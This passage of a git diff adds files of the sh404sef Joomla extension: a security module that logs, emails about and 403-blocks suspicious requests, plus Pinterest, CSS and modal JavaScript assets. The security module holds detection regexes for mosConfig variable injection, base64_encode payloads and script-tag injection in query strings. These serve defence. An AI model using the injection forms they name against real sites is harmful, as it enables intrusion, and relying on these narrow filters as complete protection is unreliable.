ShlSystem_Date::getSiteNow('H:i:s'); + $logData['CAUSE'] = shSecOutput($causeText); + $logData['C-IP'] = empty($_SERVER['REMOTE_ADDR']) ? '-' : $_SERVER['REMOTE_ADDR']; + if ($_SERVER['REMOTE_ADDR'] != 'localhost' && $_SERVER['REMOTE_ADDR'] != '::1') + { + $name = getHostByAddr($_SERVER['REMOTE_ADDR']); + } + else + { + $name = '-'; + } + $logData['NAME'] = $name; + $logData['USER_AGENT'] = empty($_SERVER['HTTP_USER_AGENT']) ? '-' : $_SERVER['HTTP_USER_AGENT']; + $logData['REQUEST_METHOD'] = $_SERVER['REQUEST_METHOD']; + $logData['REQUEST_URI'] = $_SERVER['REQUEST_URI']; + $logData['COMMENT'] = $comment; + + shLogToSecFile($logData); + } + // V x : we can possibly send email to site admin, but not log + shSendEmailToAdmin($logData); + + // actually restrict access + if (!headers_sent()) + { + header('HTTP/1.0 403 FORBIDDEN'); + } + echo '

    Forbidden access

    '; + if ($displayEntrance) + { +?> + +shSecEntranceText; ?> +>>>>>> +
    +
    +
    +
    +
    +

    + shSecSmellyPotText; ?>>> +

    +(' . $causeText . ')

    '; + } + JFactory::getApplication()->close(403); +} + +function shCheckConfigVars($query) +{ + if (empty($query)) + return ''; + if (preg_match('/mosConfig_[a-zA-Z_]{1,21}=/iu', $query)) + return 'mosConfig_var'; + else + return ''; +} + +function shCheckBase64($query) +{ + if (empty($query)) + return ''; + if (preg_match('/base64_encode.*\(.*\)/iu', $query)) + return 'Base 64 encoded data'; + else + return ''; +} + +function shCheckScripts($query) +{ + if (empty($query)) + return ''; + if (preg_match('/(\<).*script[^A-Za-z0-9]*(\>)/iu', $query)) + return ' + + + Pin it + + + diff --git a/deployed/sh404sef/media/com_sh404sef/pinterest/pinit.js b/deployed/sh404sef/media/com_sh404sef/pinterest/pinit.js new file mode 100644 index 00000000..9fa0fa3a --- /dev/null +++ b/deployed/sh404sef/media/com_sh404sef/pinterest/pinit.js @@ -0,0 +1,3 @@ +(function(o,q,c){var s=function(h){var e=c.pinit,m="?",a,i,f,b;f=[];b=[];var j={},g=o.createElement("IFRAME"),r=h.getAttribute(c.att.count)||false,n=h.getAttribute(c.att.layout)||"horizontal";if(q.location.protocol==="https:")e=c.pinit_secure;f=h.href.split("?")[1].split("#")[0].split("&");a=0;for(i=f.length;a++FDg=m7qq4 z>N>O(DYezCS>qSyoSy&h#rgbR{GZR~dA{qu?)$p0`~JRo5^bzZc)7&5n3$M&%}kMY zj1kOuU5>IdzNdNtql`h6YV1U{C;CuBFk~!~fj7|;3pB%He6e;|jCWYz3#<+k(-A+M zgA>&WZHe$A;#Dw*HY%Zb5(CY|q@y27!g%>(sX$MxFOHxKT54_s0dd~CpmQ2%2%2Ps z^~0Hlld<;URt{d_{$6lzkiH&JCltYOfX7lXz)*Yufr1Ft1^ww4!I&RzgF(PQO{o65 zpub2tp>2RhL^2krp#o9%f@ng4n(8W0bqHJ?t^`ztKp|kLDi{J&hC&b;Fa!h&{QChh zqLICQ5Ozq^-?11gU63D@N0cg@Sc(@JN22101mK}Zj3+UOstaN;{VN4L361{8F@f^8Pz=eyp%@YvssaJy@rQZ+ zX-%QpVgHZDzgklq!bn)K9hO22B6~6F;UoPE%+T(C2Rbxlut8Xpag3s10+2+nAUu{p zHACux7$+*;IB$kTS`a7{rVfFrLNv9YP`Iig1PReFRz)J=>Y7@pUq1c~Yh<8?g1}%9 zbq!5*DAX9LrNIyn0z<)IS_Y~{TCiVOGXjN*A$Vbb#l<{ZA~yh>XQhiDU;N zG2mAR*!U5tM2a7g1T?bOP=Nx`7%v>*aObcu6ocsWM}JI}i0^rzb3x&w{SS`pTv=6@5czjOYZ{_AhK4 zSO=@k`_x{n#e7coo$_89z1ZJ4cA#?*LU5c7Zk8&6-PT_U9t!Zc%;X zwsk+p0oQmzfA#WJjmK9*XHKB#ZdW|}XJ-!(L7El#{S}IdP5YA8_fWj@<%ISHD_dsk z&xY?)B~q{P12ts3&?|fz%VIkbcXocC3%l;_U%W589(32STCW0%c3uD9FG-mfXT>q zSHDk(q9Ez2-erMij$idv5?x>?b<>J!r#*=HnEGlyGa-w@7uPPNC_c*v47h2ESL*HY zRPOKMcs73+UbYZ@Ek8%XbUpR>^z%~h%3$%;itWXUVGNui`~mR&YVl>J{0zcpSO*-*rnO`!;UIk)8R2r5!jlMa7+p#04hB{sbN64mfp?#8^; z-E|TFuceJ0gAv!Gf-+z6Y;H=IHXJRDkxb(;H{_CtiaM=lnoq{cPw9}`$3%e&lZFp9qF!aMTuJk;sp zu?J5aRD*b^-aZm))QvXjDGPJM`5|B1A5)GER_jF*jUt6om=WP*Qs(2KYej`&&&k`n zhAuVeAoOS>O199_?Qvrw@h9>an|>~ac-j2z(> zx)pQZD)Z(SJw)63H{7Z9@aI{_iVr?<=67;wG-kyq$<)Y*2!_21G)vCPtV8L|%{0Z2 zZ;r;x$={4lq2*d#!IAjtySY2Y(2|nzlRupA>7D7|1$2hD@&~R>w;R(xdDi#$8}$h< zEX01bJ|D}CIANuwr_DZcd#$7z-gP6Ob6@y@wjXAkqq#JTCLjqoA1=1T!>*+;{QNz< z^G@Wgwj8GepI!H(3`7>x^#a@vm-AWItcb zc>n&oop$fHq#VaG$BGjaWhp4X*!xE@thV-2Sec@&E2C>h#{`90`g#Io8Vrm0$~7JD zcS1NJT97ErOS^WLwGs<2Q|p<437m_0*j%$P%@D9o+>4B4?%67Mn(@;qa`&czb$$J; zT)CP~_VCsv>$+AWPY<`H?t!8KQNOs6mtvlo9K&?XJkrZ6F_1UKiF6*=S0#Qg#b6JL zP)Wy34qHabPw?D~GI_uT+Q{JCx&qMih+p-cQ!JbJE(?4oY?2;z&3j*&l zne|xpRJQqNsrybJZ1NxN+%1y2)2gxt_{7Ejrt#cM&!A%MiPcl};~wbLZud1YFbS?% zlZ}?(H!8mcnbRSBvmYk8WI#DXGRe;ES3&?<*DQcv-+|~!fz=AS_30YSJzDg$qZOkb z`PVd=L)bpFXva*1~*%K=nI0`l5$;MUilM znIK76FN&Pqss}#DBBAaP!`4+c|917(cFa=ei_Puy$>?+LsB%eWUkhQvg#%d@iHl1k z4XF_$7PREcPpt%)0bHZG<1ezKI6AuN-@U_AlU{$X9_|qWim~2OzBe_UVSL+4ULKyT zzm>1p*LRl9!EbhAoW+s&PU)(1(K!|OsVa^Hv(&Kc?c$C4ddyt%k!Mdb4AgA&Uuzv{ z}-g2n1m70w@D@jDL3X-VVU?M-(1%`q>C zO+mdNgHtwx#_F0TCTY)gos5$bx1ddCNyv*;XS4%OR>fo|DOR>=ux%%_U50)Xj7S#Q zh}O8ETeTdZoHE#$Gbj;Au>r!CKdJ|B5^eP+U6FSdWPwed(j zrNFD(dTigHXAZLfSgT#~>TN zvTmC(mAbSjz}m8@UvM{Y*8B(G=C=os&qlPX37}x&C!UGnrPx~!tHLEmn$2vG+|E^d zx&6zRSWZ*X?@UB@dYyFwqBXO=r&ljmJ!w{`Dho+-N^3G(bH zXl2#GY@9S5YGF>x(fn}`Syh;*#7ev$D^zV@Ut%SHRBI`x{KI?JpJok|JCMdWS2IgP z*4@*%YHE*WL;oG4pS5jqIb{;f0)or4K_)29P;UO^Cnl2d`MoLS8#m~*Hydfy!lq^f z`^PJ?p4xfUuE(Y5g#BEV2VKnvJKaZ_<*z?7*n6F4m~2UVHCBb%01PIqnV@r*$?NVO3)QUCg|1@(VNOQL2&$td50Xkem%&#wY8w>fh5X*1SbDmxh`Kb~P zQsk;&KXR}G%Mc#p7U9H!o+e7OEZ+7lTf7IP4?R}pxl<;>>I(BO^|0q(2_x3J;iXtc z;}rf_y3X`@yuAin65Z-7CKlHQ5MYL7PJMVF!AEiNLnpXH3dXywgx_+(yd)MDW(}ry z&>d`fPB%}{1zY#)AS3a+$_^n4RC`)|Fm@e%vq9G#l3Mt%|xZJjVbcY^FzBE#L1eSk1dGeBKT_bD4GU^X;2-@6Wm!p%}7STnsu6zQ_ zRaI4kTQP%Qcuow&*upmI-k^sZ1RFnF25}MthZQzgtKhnvgqh0?AYU-c%Two!0)c@bkyOru3A_Nd2y9?MgSn z=vD2r#E7>Y(Nj4&U|h~f%1E+y|BEZc%>_f`bNp(;M)}dgJ|A(6rbI_O-N|c#MM=g# zyY9HrX4Wy`qz0QEl8s_&2p>L0UNJCWS*uk(Q@ALBP09a`cFZKL>CC16s?*yXPR85Y z4XFJ$gQ7EqFJx#nOaY?qxtR7Fuxf7dZgojSm5EY+Eza3rmW_=?y*YYdjiNJf%9n>- z4;e*KxE|TBW-6Q#hv62e;bUHO8$`>Pwp@@DeYz6u`}UDSuuw(+($Vc3YJ9%p!TbX) zpPbij!9pMNacFRp(+4=}kC_-+Tx{k$HLe(d*!C?%lmTJOnjuAF+sM^5WI+%Rra0f7 z#qnsR0b(gWyGm2Rrqh{He7>9IDL|N)ij>Aj{L{~`m3qt3pWo{iAU$x4FCU|_?jEr4 ZFg0gT!V_8McMt!H&5W&(m4+VC{{j1S^AG?4 literal 0 HcmV?d00001 diff --git a/deployed/sh404sef/media/plg_shlib/css/bs.css b/deployed/sh404sef/media/plg_shlib/css/bs.css new file mode 100644 index 00000000..6f95fb38 --- /dev/null +++ b/deployed/sh404sef/media/plg_shlib/css/bs.css @@ -0,0 +1,647 @@ +/** + * Shlib - programming library + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2013 + * @package shlib + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 0.2.9.370 + * @date 2014-06-11 + */ +[class^="shl-icon"],[class*=" shl-icon"] { + display: inline-block; + width: 14px; + height: 14px; + *margin-right: .3em; + line-height: 14px; + vertical-align: text-top; + background-image: url("../../jui/img/glyphicons-halflings.png"); + background-position: 14px 14px; + background-repeat: no-repeat; + margin-top: 1px; +} + +.shl-icon-glass { + background-position: 0 0; +} + +.shl-icon-music { + background-position: -24px 0; +} + +.shl-icon-search { + background-position: -48px 0; +} + +.shl-icon-envelope { + background-position: -72px 0; +} + +.shl-icon-heart { + background-position: -96px 0; +} + +.shl-icon-star { + background-position: -120px 0; +} + +.shl-icon-star-empty { + background-position: -144px 0; +} + +.shl-icon-user { + background-position: -168px 0; +} + +.shl-icon-film { + background-position: -192px 0; +} + +.shl-icon-th-large { + background-position: -216px 0; +} + +.shl-icon-th { + background-position: -240px 0; +} + +.shl-icon-th-list { + background-position: -264px 0; +} + +.shl-icon-ok { + background-position: -288px 0; +} + +.shl-icon-remove { + background-position: -312px 0; +} + +.shl-icon-zoom-in { + background-position: -336px 0; +} + +.shl-icon-zoom-out { + background-position: -360px 0; +} + +.shl-icon-off { + background-position: -384px 0; +} + +.shl-icon-signal { + background-position: -408px 0; +} + +.shl-icon-cog { + background-position: -432px 0; +} + +.shl-icon-trash { + background-position: -456px 0; +} + +.shl-icon-home { + background-position: 0 -24px; +} + +.shl-icon-file { + background-position: -24px -24px; +} + +.shl-icon-time { + background-position: -48px -24px; +} + +.shl-icon-road { + background-position: -72px -24px; +} + +.shl-icon-download-alt { + background-position: -96px -24px; +} + +.shl-icon-download { + background-position: -120px -24px; +} + +.shl-icon-upload { + background-position: -144px -24px; +} + +.shl-icon-inbox { + background-position: -168px -24px; +} + +.shl-icon-play-circle { + background-position: -192px -24px; +} + +.shl-icon-repeat { + background-position: -216px -24px; +} + +.shl-icon-refresh { + background-position: -240px -24px; +} + +.shl-icon-list-alt { + background-position: -264px -24px; +} + +.shl-icon-lock { + background-position: -287px -24px; +} + +.shl-icon-flag { + background-position: -312px -24px; +} + +.shl-icon-headphones { + background-position: -336px -24px; +} + +.shl-icon-volume-off { + background-position: -360px -24px; +} + +.shl-icon-volume-down { + background-position: -384px -24px; +} + +.shl-icon-volume-up { + background-position: -408px -24px; +} + +.shl-icon-qrcode { + background-position: -432px -24px; +} + +.shl-icon-barcode { + background-position: -456px -24px; +} + +.shl-icon-tag { + background-position: 0 -48px; +} + +.shl-icon-tags { + background-position: -25px -48px; +} + +.shl-icon-book { + background-position: -48px -48px; +} + +.shl-icon-bookmark { + background-position: -72px -48px; +} + +.shl-icon-print { + background-position: -96px -48px; +} + +.shl-icon-camera { + background-position: -120px -48px; +} + +.shl-icon-font { + background-position: -144px -48px; +} + +.shl-icon-bold { + background-position: -167px -48px; +} + +.shl-icon-italic { + background-position: -192px -48px; +} + +.shl-icon-text-height { + background-position: -216px -48px; +} + +.shl-icon-text-width { + background-position: -240px -48px; +} + +.shl-icon-align-left { + background-position: -264px -48px; +} + +.shl-icon-align-center { + background-position: -288px -48px; +} + +.shl-icon-align-right { + background-position: -312px -48px; +} + +.shl-icon-align-justify { + background-position: -336px -48px; +} + +.shl-icon-list { + background-position: -360px -48px; +} + +.shl-icon-indent-left { + background-position: -384px -48px; +} + +.shl-icon-indent-right { + background-position: -408px -48px; +} + +.shl-icon-facetime-video { + background-position: -432px -48px; +} + +.shl-icon-picture { + background-position: -456px -48px; +} + +.shl-icon-pencil { + background-position: 0 -72px; +} + +.shl-icon-map-marker { + background-position: -24px -72px; +} + +.shl-icon-adjust { + background-position: -48px -72px; +} + +.shl-icon-tint { + background-position: -72px -72px; +} + +.shl-icon-edit { + background-position: -96px -72px; +} + +.shl-icon-share { + background-position: -120px -72px; +} + +.shl-icon-check { + background-position: -144px -72px; +} + +.shl-icon-move { + background-position: -168px -72px; +} + +.shl-icon-step-backward { + background-position: -192px -72px; +} + +.shl-icon-fast-backward { + background-position: -216px -72px; +} + +.shl-icon-backward { + background-position: -240px -72px; +} + +.shl-icon-play { + background-position: -264px -72px; +} + +.shl-icon-pause { + background-position: -288px -72px; +} + +.shl-icon-stop { + background-position: -312px -72px; +} + +.shl-icon-forward { + background-position: -336px -72px; +} + +.shl-icon-fast-forward { + background-position: -360px -72px; +} + +.shl-icon-step-forward { + background-position: -384px -72px; +} + +.shl-icon-eject { + background-position: -408px -72px; +} + +.shl-icon-chevron-left { + background-position: -432px -72px; +} + +.shl-icon-chevron-right { + background-position: -456px -72px; +} + +.shl-icon-plus-sign { + background-position: 0 -96px; +} + +.shl-icon-minus-sign { + background-position: -24px -96px; +} + +.shl-icon-remove-sign { + background-position: -48px -96px; +} + +.shl-icon-ok-sign { + background-position: -72px -96px; +} + +.shl-icon-question-sign { + background-position: -96px -96px; +} + +.shl-icon-info-sign { + background-position: -120px -96px; +} + +.shl-icon-screenshot { + background-position: -144px -96px; +} + +.shl-icon-remove-circle { + background-position: -168px -96px; +} + +.shl-icon-ok-circle { + background-position: -192px -96px; +} + +.shl-icon-ban-circle { + background-position: -216px -96px; +} + +.shl-icon-arrow-left { + background-position: -240px -96px; +} + +.shl-icon-arrow-right { + background-position: -264px -96px; +} + +.shl-icon-arrow-up { + background-position: -289px -96px; +} + +.shl-icon-arrow-down { + background-position: -312px -96px; +} + +.shl-icon-share-alt { + background-position: -336px -96px; +} + +.shl-icon-resize-full { + background-position: -360px -96px; +} + +.shl-icon-resize-small { + background-position: -384px -96px; +} + +.shl-icon-plus { + background-position: -408px -96px; +} + +.shl-icon-minus { + background-position: -433px -96px; +} + +.shl-icon-asterisk { + background-position: -456px -96px; +} + +.shl-icon-exclamation-sign { + background-position: 0 -120px; +} + +.shl-icon-gift { + background-position: -24px -120px; +} + +.shl-icon-leaf { + background-position: -48px -120px; +} + +.shl-icon-fire { + background-position: -72px -120px; +} + +.shl-icon-eye-open { + background-position: -96px -120px; +} + +.shl-icon-eye-close { + background-position: -120px -120px; +} + +.shl-icon-warning-sign { + background-position: -144px -120px; +} + +.shl-icon-plane { + background-position: -168px -120px; +} + +.shl-icon-calendar { + background-position: -192px -120px; +} + +.shl-icon-random { + background-position: -216px -120px; + width: 16px; +} + +.shl-icon-comment { + background-position: -240px -120px; +} + +.shl-icon-magnet { + background-position: -264px -120px; +} + +.shl-icon-chevron-up { + background-position: -288px -120px; +} + +.shl-icon-chevron-down { + background-position: -313px -119px; +} + +.shl-icon-retweet { + background-position: -336px -120px; +} + +.shl-icon-shopping-cart { + background-position: -360px -120px; +} + +.shl-icon-folder-close { + background-position: -384px -120px; +} + +.shl-icon-folder-open { + background-position: -408px -120px; + width: 16px; +} + +.shl-icon-resize-vertical { + background-position: -432px -119px; +} + +.shl-icon-resize-horizontal { + background-position: -456px -118px; +} + +.shl-icon-hdd { + background-position: 0 -144px; +} + +.shl-icon-bullhorn { + background-position: -24px -144px; +} + +.shl-icon-bell { + background-position: -48px -144px; +} + +.shl-icon-certificate { + background-position: -72px -144px; +} + +.shl-icon-thumbs-up { + background-position: -96px -144px; +} + +.shl-icon-thumbs-down { + background-position: -120px -144px; +} + +.shl-icon-hand-right { + background-position: -144px -144px; +} + +.shl-icon-hand-left { + background-position: -168px -144px; +} + +.shl-icon-hand-up { + background-position: -192px -144px; +} + +.shl-icon-hand-down { + background-position: -216px -144px; +} + +.shl-icon-circle-arrow-right { + background-position: -240px -144px; +} + +.shl-icon-circle-arrow-left { + background-position: -264px -144px; +} + +.shl-icon-circle-arrow-up { + background-position: -288px -144px; +} + +.shl-icon-circle-arrow-down { + background-position: -312px -144px; +} + +.shl-icon-globe { + background-position: -336px -144px; +} + +.shl-icon-wrench { + background-position: -360px -144px; +} + +.shl-icon-tasks { + background-position: -384px -144px; +} + +.shl-icon-filter { + background-position: -408px -144px; +} + +.shl-icon-briefcase { + background-position: -432px -144px; +} + +.shl-icon-fullscreen { + background-position: -456px -144px; +} + +span.label-large,span.badge-large { + font-size: 14px; + line-height: 18px; +} + +div.alert-centered { + text-align: center; +} + +/* Input counters */ +div.shl-char-counter { + margin-left: 0.2em; + width: 2em; + position: absolute; + bottom: 0.5em; + left: 0.5em; +} + +div.shl-char-counter-one-line { + margin-left: 0.2em; + width: 2em; + position: absolute; + bottom: 0.5em; + right: -0.5em; +} + +div.shl-char-counter-title-joomla-be { + margin-left: 0.2em; + width: 2em; + position: absolute; + bottom: 3em; + right: 0em; +} + +div.shl-char-counter-desc-joomla-be { + margin-left: 0.2em; + width: 2em; + position: absolute; + bottom: 0.5em; + right: -4em; +} + +@media ( max-width : 480px) { + div.shl-char-counter-one-line { + margin-left: 0.2em; + width: 2em; + position: absolute; + bottom: 3em ! important; + right: 3em! important; + } +} + +span.shl-char-counter { + position: relative; +} + +div.shl-char-counter-wrapper { + position: relative; + display: inline-block; width : auto; + height: auto; + width: auto; +} diff --git a/deployed/sh404sef/media/plg_shlib/css/index.html b/deployed/sh404sef/media/plg_shlib/css/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/media/plg_shlib/css/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/media/plg_shlib/css/modal.css b/deployed/sh404sef/media/plg_shlib/css/modal.css new file mode 100644 index 00000000..4bea19a9 --- /dev/null +++ b/deployed/sh404sef/media/plg_shlib/css/modal.css @@ -0,0 +1,161 @@ +/** + * Shlib - programming library + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2013 + * @package shlib + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 0.2.9.370 + * @date 2014-06-11 + */ + +/** +Default template css use a last-child selector for toolbar button +which prevents adding modal div and script in such buttons +Directly use a button.btn selector instead +*/ +.btn-group > button.btn { + border-bottom-right-radius: 4px; + border-top-right-radius: 4px; +} + +/** + replacement classes to modal css, to by-pass limitations in + default J3 templates (max-width, max-height, iframe shadows + **/ +.shmodal-open .dropdown-menu { + z-index: 2050; +} + +.shmodal-open .dropdown.open { + *z-index: 2050; +} + +.shmodal-open .popover { + z-index: 2060; +} + +.shmodal-open .tooltip { + z-index: 2080; +} + +div.modal-backdrop { + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: 0; + z-index: 1040; + background-color: #000; +} + +div.modal-backdrop.fade { + opacity: 0; +} + +div.modal-backdrop,div.modal-backdrop.fade.in { + opacity: 0.5; + filter: alpha(opacity = 50); +} + +div.shmodal { + position: fixed; + top: 50%; + left: 50%; + z-index: 1050; + overflow: auto; + /*width: 560px;*/ + /*margin: -250px 0 0 -280px;*/ + background-color: #fff; + border: 1px solid #999; + border: 1px solid rgba(0, 0, 0, 0.3); + *border: 1px solid #999; + -webkit-border-radius: 6px; + -moz-border-radius: 6px; + border-radius: 6px; + -webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3); + -moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3); + box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3); + -webkit-background-clip: padding-box; + -moz-background-clip: padding-box; + background-clip: padding-box; +} + +div.shmodal.fade { + -webkit-transition: opacity .3s linear, top .3s ease-out; + -moz-transition: opacity .3s linear, top .3s ease-out; + -o-transition: opacity .3s linear, top .3s ease-out; + transition: opacity .3s linear, top .3s ease-out; + top: -25%; +} + +div.shmodal.fade.in { + top: 50%; +} + +.shmodal-header { + border-bottom: 1px solid #eee; + padding: 4px 8px; +} + +.shmodal-header .close { +} + +.shmodal-header h3 { + margin: 0; + line-height: 30px; +} + +.shmodal-body { + overflow-y: auto; + /*max-height: 400px;*/ + padding: 15px; +} + +.shmodal-form { + margin-bottom: 0; +} + +.shmodal-footer { + padding: 14px 15px 15px; + margin-bottom: 0; + text-align: right; + background-color: #f5f5f5; + border-top: 1px solid #ddd; + -webkit-border-radius: 0 0 6px 6px; + -moz-border-radius: 0 0 6px 6px; + border-radius: 0 0 6px 6px; + -webkit-box-shadow: inset 0 1px 0 #fff; + -moz-box-shadow: inset 0 1px 0 #fff; + box-shadow: inset 0 1px 0 #fff; + *zoom: 1; +} + +.shmodal-footer:before,.shmodal-footer:after { + display: table; + content: ""; + line-height: 0; +} + +.shmodal-footer:after { + clear: both; +} + +.shmodal-footer .btn+.btn { + margin-left: 5px; + margin-bottom: 0; +} + +.shmodal-footer .btn-group .btn+.btn { + margin-left: -1px; +} + +/** overrides for non-modal classes */ +.shmodal-body iframe { + border: none; + padding: 0; + margin: 0; + /* display block instead of inline, to avoid +extra space added at end of iframe */ + display: block; +} diff --git a/deployed/sh404sef/media/plg_shlib/css/modalfix.css b/deployed/sh404sef/media/plg_shlib/css/modalfix.css new file mode 100644 index 00000000..8fe06975 --- /dev/null +++ b/deployed/sh404sef/media/plg_shlib/css/modalfix.css @@ -0,0 +1,19 @@ +/** + * Shlib - programming library + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2013 + * @package shlib + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 0.2.9.370 + * @date 2014-06-11 + */ + +/* +Hack to prevent scrollbar appearing in popup. Seems to happen because +of height: 100% on body tag of url loaded in popup. +*/ +body { + height: 90% !important; + padding: 0 !important; +} \ No newline at end of file diff --git a/deployed/sh404sef/media/plg_shlib/index.html b/deployed/sh404sef/media/plg_shlib/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/media/plg_shlib/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/media/plg_shlib/js/bs.js b/deployed/sh404sef/media/plg_shlib/js/bs.js new file mode 100644 index 00000000..dc59c8a9 --- /dev/null +++ b/deployed/sh404sef/media/plg_shlib/js/bs.js @@ -0,0 +1,353 @@ +/** + * Shlib - programming library + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2013 + * @package shlib + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 0.2.9.370 + * @date 2014-06-11 + */ +var shlBootstrap = (function($) { + var tmp = { + updateBootstrap : function() { + $('*[rel=tooltip]').tooltip(); + $('select').chosen({ + disable_search_threshold : 10, + allow_single_deselect : true + }); + + // Turn radios into btn-group + $('.radio.btn-group label').addClass('btn'); + $(".btn-group label:not(.active)").click(function() { + var label = $(this); + var input = $('#' + label.attr('for')); + + if (!input.prop('checked')) { + label.closest('.btn-group').find("label").removeClass('active btn-success btn-danger btn-primary'); + if (input.val() == '') { + label.addClass('active btn-primary'); + } else if (input.val() == 0) { + label.addClass('active btn-danger'); + } else { + label.addClass('active btn-success'); + } + input.prop('checked', true); + } + }); + $(".btn-group input[checked=checked]").each(function() { + if ($(this).val() == '') { + $("label[for=" + $(this).attr('id') + "]").addClass('active btn-primary'); + } else if ($(this).val() == 0) { + $("label[for=" + $(this).attr('id') + "]").addClass('active btn-danger'); + } else { + $("label[for=" + $(this).attr('id') + "]").addClass('active btn-success'); + } + }); + }, + + /** Modals handling */ + canOpenModal : true, + modals : {}, + modalTemplate : "
    {%title%}
    ", + + selectedIdsUrl : '', + + setSelectedIdsUrl : function(ids) { + shlBootstrap.selectedIdsUrl = ids; + }, + + getModalUrl : function(baseUrl) { + return baseUrl + shlBootstrap.selectedIdsUrl; + }, + + closeModal : function() { + var el = $('div.shmodal-header button.close'); + el.click(); + }, + + setModalTitleFromModal : function(title) { + var el = window.parent.jQuery('div.shmodal-header:visible'); + el.html('

    ' + title + '

    '); + }, + + registerModal : function(modal) { + var tmp = {}; + tmp = $.extend({ + selector : '', + title : '', + url : '', + width : 0.5, + height : 0.5, + onclose : '', + footer : '', + backdrop : true, + keyboard : false + }, modal); + + // then store + shlBootstrap.modals[tmp.selector] = tmp; + }, + + renderModal : function(index, modal) { + // insert modal markup in page + $(shlBootstrap.modalTemplate.replace(new RegExp('{%selector%}', 'g'), modal.selector).replace('{%title%}', modal.title ? '

    '+modal.title+'

    ' : ' ')) + .appendTo('#shl-modals-container'); + + // add an onshow handler + $('#' + modal.selector).on( + 'show', + function() { + if (!shlBootstrap.canOpenModal) + return false; + var modalOptions = shlBootstrap.modals[this.id]; + // compute width and heigth + var mW = modalOptions.width < 1 ? $(window).width() * modalOptions.width : modalOptions.width; + var mH = modalOptions.height < 1 ? $(window).height() * modalOptions.height : modalOptions.height; + var targetUrl = shlBootstrap.getModalUrl(modalOptions.url); + var modalContainer = jQuery('#' + modalOptions.selector); + jQuery('#' + modalOptions.selector + '-container').html( + '
    ' + modalOptions.footer); + var h = modalContainer.height(); + var w = modalContainer.width(); + var pageheight = jQuery(window).height(); + var pagewidth = jQuery(window).width(); + var shleft = (pagewidth - w) / 2; + var shtop = (pageheight - h) / 2; + jQuery('#' + modalOptions.selector).css({ + 'margin-top' : shtop, + 'top' : '0' + }); + jQuery('#' + modalOptions.selector).css({ + 'margin-left' : shleft, + 'left' : '0' + }); + }); + + $('#' + modal.selector).on('hide', function() { + var modalOptions = shlBootstrap.modals[this.id]; + if (modalOptions.onclose) + modalOptions.onclose(); + jQuery('#' + this.id + '-container').innerHTML = ''; + }); + + // run BS modal code + $('#' + modal.selector).modal({ + 'keyboard' : modal.keyboard, + 'backdrop' : modal.backdrop, + 'show' : false + }); + }, + + renderModals : function() { + $.each(shlBootstrap.modals, shlBootstrap.renderModal); + }, + + /* input char counters */ + inputCounters: {}, + registerInputCounter : function(counter) { + var defaults = { + maxCharacterSize: -1, + originalStyle: 'badge-success', + warningStyle: 'badge-warning', + errorStyle: 'badge-important', + warningNumber: 20, + errorNumber: 40, + displayFormat: '#left', + style: 'shl-char-counter', + title:'' + }; + counter = $.extend(defaults, counter); + + // then store + shlBootstrap.inputCounters[counter.selector] = counter; + }, + + renderInputCounters : function() { + $.each(shlBootstrap.inputCounters, shlBootstrap.renderInputCounter); + }, + + renderInputCounter : function(index, counter) { + $('#' + counter.selector).textareaCount(counter); + }, + + onReady : function() { + $("
    ").appendTo("body"); + shlBootstrap.renderModals(); + shlBootstrap.renderInputCounters(); + }, + + }; + jQuery(document).ready(tmp.onReady); + return tmp; +})(jQuery); + +/* + * jQuery Textarea Characters Counter Plugin v 2.0 + * Examples and documentation at: http://roy-jin.appspot.com/jsp/textareaCounter.jsp + * Copyright (c) 2010 Roy Jin + * Version: 2.0 (11-JUN-2010) + * Dual licensed under the MIT and GPL licenses: + * http://www.opensource.org/licenses/mit-license.php + * http://www.gnu.org/licenses/gpl.html + * Requires: jQuery v1.4.2 or later + */ +(function($){ + $.fn.textareaCount = function(options, fn) { + var defaults = { + maxCharacterSize: -1, + originalStyle: 'originalTextareaInfo', + warningStyle: 'warningTextareaInfo', + errorStyle: 'errorTextareaInfo', + warningNumber: 20, + errorNumber: 40, + displayFormat: '#input characters | #words words', + title:'' + }; + var options = $.extend(defaults, options); + + var container = $(this); + container.wrap("
    "); + $("
     
    ").insertAfter(container); + + var charLeftInfo = getNextCharLeftInformation(container); + charLeftInfo.addClass(options.originalStyle); + + var numInput = 0; + var maxCharacters = options.maxCharacterSize; + var numLeft = 0; + var numWords = 0; + + container.bind('keyup', function(event){limitTextAreaByCharacterCount();}) + .bind('mouseover', function(event){setTimeout(function(){limitTextAreaByCharacterCount();}, 10);}) + .bind('paste', function(event){setTimeout(function(){limitTextAreaByCharacterCount();}, 10);}); + + // initial display + limitTextAreaByCharacterCount(); + + function limitTextAreaByCharacterCount(){ + charLeftInfo.html(countByCharacters()); + //function call back + if(typeof fn != 'undefined'){ + fn.call(this, getInfo()); + } + return true; + } + + function countByCharacters(){ + var content = container.val(); + var contentLength = content.length; + + //Start Cut + if(options.maxCharacterSize > 0){ + //If copied content is already more than maxCharacterSize, chop it to maxCharacterSize. + if(contentLength >= options.maxCharacterSize) { + content = content.substring(0, options.maxCharacterSize); + } + + var newlineCount = getNewlineCount(content); + + // newlineCount new line character. For windows, it occupies 2 characters + var systemmaxCharacterSize = options.maxCharacterSize - newlineCount; + if (!isWin()){ + systemmaxCharacterSize = options.maxCharacterSize + } + if(contentLength > systemmaxCharacterSize){ + //avoid scroll bar moving + var originalScrollTopPosition = this.scrollTop; + container.val(content.substring(0, systemmaxCharacterSize)); + this.scrollTop = originalScrollTopPosition; + } + charLeftInfo.removeClass(options.warningStyle); + charLeftInfo.removeClass(options.originalStyle); + if(contentLength > options.errorNumber){ + charLeftInfo.addClass(options.errorStyle); + } else if(contentLength > 